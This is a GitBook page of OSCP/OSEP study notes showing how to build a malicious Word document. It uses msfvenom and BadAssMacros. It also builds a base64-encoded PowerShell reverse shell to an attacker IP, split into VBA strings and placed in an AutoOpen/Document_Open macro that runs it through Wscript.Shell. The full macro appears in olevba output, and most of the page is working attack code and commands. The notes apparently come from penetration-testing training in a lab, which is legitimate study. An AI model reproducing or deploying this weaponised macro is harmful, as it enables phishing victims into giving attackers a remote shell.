> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation-tools/macro-word-doc.md).

# Macro Word Doc

<details>

<summary><a href="https://github.com/Inf0secRabbit/BadAssMacros">BadAssMacros</a> (OSEP)</summary>

```bash
# Generate stagless shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f raw -o shellcode.raw

# Create Malicious Macro
BadAssMacros.exe -i"Z:\Shared VM folders\shellcode.raw" -s indirect -p no -w doc -o out.txt

# Open Netcat listener for rev shell
nc -lvp 443
```

DO NOTE THAT WORD IS USUALLY EXECUTING 32-BIT PAYLOAD

Paste macro to word document & save as type: `word 97-2003`

![](/files/2XbRVJ35ION9YDYyi9Mk)

![](/files/EhJmiSA2EQ8WhG9D2eEw)

</details>

<details>

<summary>mkpsrevshell (OSCP)</summary>

### Generate Powershell Base64 encoded reverse shell payload

```bash
┌──(root㉿kali)-[/home/kali/Documents/offsec/10.11.1.20]
└─# mkpsrevshell.py 192.168.119.152 443
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEAMQA5AC4AMQA1ADIAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
```

{% hint style="info" %}
Get mkpsrevshell.py from [here ](https://gist.github.com/tothi/ab288fb523a4b32b51a53e542d40fe58)
{% endhint %}

### Split B64 payload into smaller chunks&#x20;

```bash
┌──(root㉿kali)-[/home/kali/Documents/offsec/10.11.1.20]
└─# python2.7 split_for_vba.py                                                                   
Str = Str + "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAt"
Str = Str + "AE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAF"
Str = Str + "MAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIA"
Str = Str + "MQA5ADIALgAxADYAOAAuADEAMQA5AC4AMQA1ADIAIgAsADQANA"
Str = Str + "AzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBu"
Str = Str + "AHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AG"
Str = Str + "UAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUA"
Str = Str + "MwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQ"
Str = Str + "AgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABl"
Str = Str + "AHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AG"
Str = Str + "gAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0A"
Str = Str + "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATg"
Str = Str + "BhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBD"
Str = Str + "AEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAG"
Str = Str + "kAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQA"
Str = Str + "cwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQ"
Str = Str + "B0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBu"
Str = Str + "AGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAH"
Str = Str + "MAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAA"
Str = Str + "KABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJA"
Str = Str + "BzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBl"
Str = Str + "AG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAG"
Str = Str + "UAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkA"
Str = Str + "OwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbg"
Str = Str + "BkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBM"
Str = Str + "AGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AH"
Str = Str + "MAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUA"
Str = Str + "KAApAA=="
```

#### Split\_for\_vba.py

```bash
str = "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMAL gBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEAMQA5AC4AMQA1ADIAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQ BtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA 9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBk ACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhA HQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAE EAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQ AcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcA IAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZ AApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQ BuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQB tAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABz AHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
 
n = 50
 
for i in range(0, len(str), n):
     print "Str = Str + " + '"' + str[i:i+n] + '"'
```

### Using Word Doc

Go to Microsoft Word --> Search Macro --> Type in "rev" as Macro name and press create

<img src="/files/C8oLElBz50RPkQ0uLP3i" alt="" data-size="original">

Paste in the macro from macro.txt

<img src="/files/qrFcgbCF2iOC9if2rMFo" alt="" data-size="original">

Save it as Word 97-2003 Document format (macro doesn’t work on .docx format)

<img src="/files/y4oeK4vPf9JsQLJ8V1qP" alt="" data-size="original">

Zip up the rev.doc to become rev.zip and share it to the attacker's kali machine using the VM shared folder.

```bash
┌──(root㉿kali)-[/home/kali/Documents/offsec/10.11.1.21]
└─# unzip rev.zip               
Archive:  rev.zip
  inflating: rev.doc 
```

### View Macro present in Word Doc on Kali

```bash
┌──(root㉿kali)-[/home/kali/Documents/offsec/10.11.1.21]
└─# olevba rev.doc 
olevba 0.60.1 on Python 3.11.2 - http://decalage.info/python/oletools
===============================================================================
FILE: rev.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: rev.doc - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: rev.doc - OLE stream: 'Macros/VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub AutoOpen()

  MyMacro

End Sub

Sub Document_Open()

  MyMacro

End Sub

Sub MyMacro()
  Dim Str As String

  Str = Str + "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAt"
  Str = Str + "AE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAF"
  Str = Str + "MAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIA"
  Str = Str + "MQA5ADIALgAxADYAOAAuADEAMQA5AC4AMQA1ADIAIgAsADQANA"
  Str = Str + "AzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBu"
  Str = Str + "AHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AG"
  Str = Str + "UAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUA"
  Str = Str + "MwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQ"
  Str = Str + "AgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABl"
  Str = Str + "AHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AG"
  Str = Str + "gAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0A"
  Str = Str + "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATg"
  Str = Str + "BhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBD"
  Str = Str + "AEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAG"
  Str = Str + "kAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQA"
  Str = Str + "cwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQ"
  Str = Str + "B0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBu"
  Str = Str + "AGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAH"
  Str = Str + "MAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAA"
  Str = Str + "KABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJA"
  Str = Str + "BzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBl"
  Str = Str + "AG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAG"
  Str = Str + "UAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkA"
  Str = Str + "OwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbg"
  Str = Str + "BkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBM"
  Str = Str + "AGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AH"
  Str = Str + "MAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUA"
  Str = Str + "KAApAA=="

  CreateObject("Wscript.Shell").Run Str

End Sub

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Wscript.Shell       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Run                 |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|powershell          |May run PowerShell commands                  |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

```

{% hint style="info" %}
Install using `pipx install oletools`
{% endhint %}

</details>